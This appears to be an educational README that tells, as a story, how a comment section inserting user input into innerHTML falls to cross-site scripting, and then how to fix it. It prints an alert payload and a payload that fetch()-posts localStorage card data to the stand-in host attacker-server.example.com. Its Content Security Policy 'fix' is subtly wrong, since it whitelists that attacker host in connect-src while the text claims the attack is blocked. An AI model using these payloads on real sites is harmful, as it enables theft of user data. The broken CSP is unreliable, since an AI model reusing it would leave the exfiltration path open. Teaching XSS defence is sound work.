You might know XSS

A Tale of Two Developers

Meet Loki, a bright-eyed junior developer working on a new web app, and Dat, an opportunistic hacker always on the lookout for vulnerabilities. One day, Loki proudly launches his first comment section feature, allowing users to share their thoughts. Little does he know, Dat is already testing his code for weaknesses.

The Setup: A Simple Mistake

Loki's comment section is simple—users type a message, and it appears on the page. Excitedly, he writes this code:

index.html
1<div id="comments"></div>
2<input type="text" id="comment" />
3<button id="addComment">Add Comment</button>
index.js
1// Displaying comments on the page
2commentsContainer.innerHTML = comments
3 .map(
4 (comment) => `
5 <div class="comment">
6 <p>${comment}</p>
7 </div>
8 `
9 )
10 .join("");

Loki's feature works perfectly—users can post comments, and they instantly appear on the page. But there's a problem: he inserts user input directly into innerHTML. And Dat knows exactly how to exploit it.

The Attack: A Hacker's Delight

Dat visits the site and instead of posting a normal comment, he enters:

1<img src="x" onerror="alert('You've been hacked!')" />

The moment Loki, or any user, loads the page, their browser executes Dat's script, displaying an alert box. But Dat isn't just here to play pranks—he refines his attack:

1<img
2 src="x"
3 onerror="
4 fetch('http://attacker-server.example.com/attack', {
5 method: 'POST',
6 headers: { 'Content-Type': 'application/json' },
7 body: JSON.stringify({ stolenData: localStorage.getItem('fakeCardData') })
8 });
9"
10/>

Now, anyone visiting the page unknowingly sends their sensitive data stored in localStorage to Dat's server, allowing him to steal credit card information. Loki has unintentionally left the door wide open.

The Consequences: Chaos Ensues

Within hours, Loki's site is flooded with fake posts, phishing links, and even defaced content. Users complain about strange alert boxes popping up, some get their sensitive data stolen, and his boss demands answers. A small oversight has turned into a full-scale security nightmare.

The Fix: Lessons Learned the Hard Way

After some frantic research, Loki learns about XSS and how to prevent it. He applies these fixes:

1. Escape User Input Before Rendering

Instead of using innerHTML, Loki uses textContent to safely insert comments:

index.js
1comments.map((comment) => {
2 const commentElement = document.createElement("p");
3 commentElement.textContent = comment; // Escapes HTML
4 commentsContainer.appendChild(commentElement);
5});

This properly escapes HTML characters, preventing malicious scripts from executing.

2. Implement a Content Security Policy (CSP)

Loki adds the following CSP header to restrict script execution:

index.html
1<meta
2 http-equiv="Content-Security-Policy"
3 content="default-src 'self'; script-src 'self' https://trusted.cdn.com; connect-src 'self' https://api.example.com https://attacker-server.example.com;"
4/>

This ensures that only approved scripts can run on his site, blocking inline scripts like Dat's attack.

The Aftermath: A Safer Web

Dat tries his tricks again but finds that his scripts no longer execute. Loki's site is now resilient to XSS attacks. He's learned a crucial lesson—never trust user input blindly.

Final Thoughts

XSS is one of the most common web vulnerabilities, and like Loki, many developers unknowingly introduce it. The demonstration in this repository shows how dangerously simple it can be to leave an XSS vulnerability and how devastating the consequences can be.

Stay safe pals!

Table of Contents

A Tale of Two Developers
The Setup: A Simple Mistake
The Attack: A Hacker's Delight
The Consequences: Chaos Ensues
The Fix: Lessons Learned the Hard Way
1. Escape User Input Before Rendering
2. Implement a Content Security Policy (CSP)
The Aftermath: A Safer Web
Final Thoughts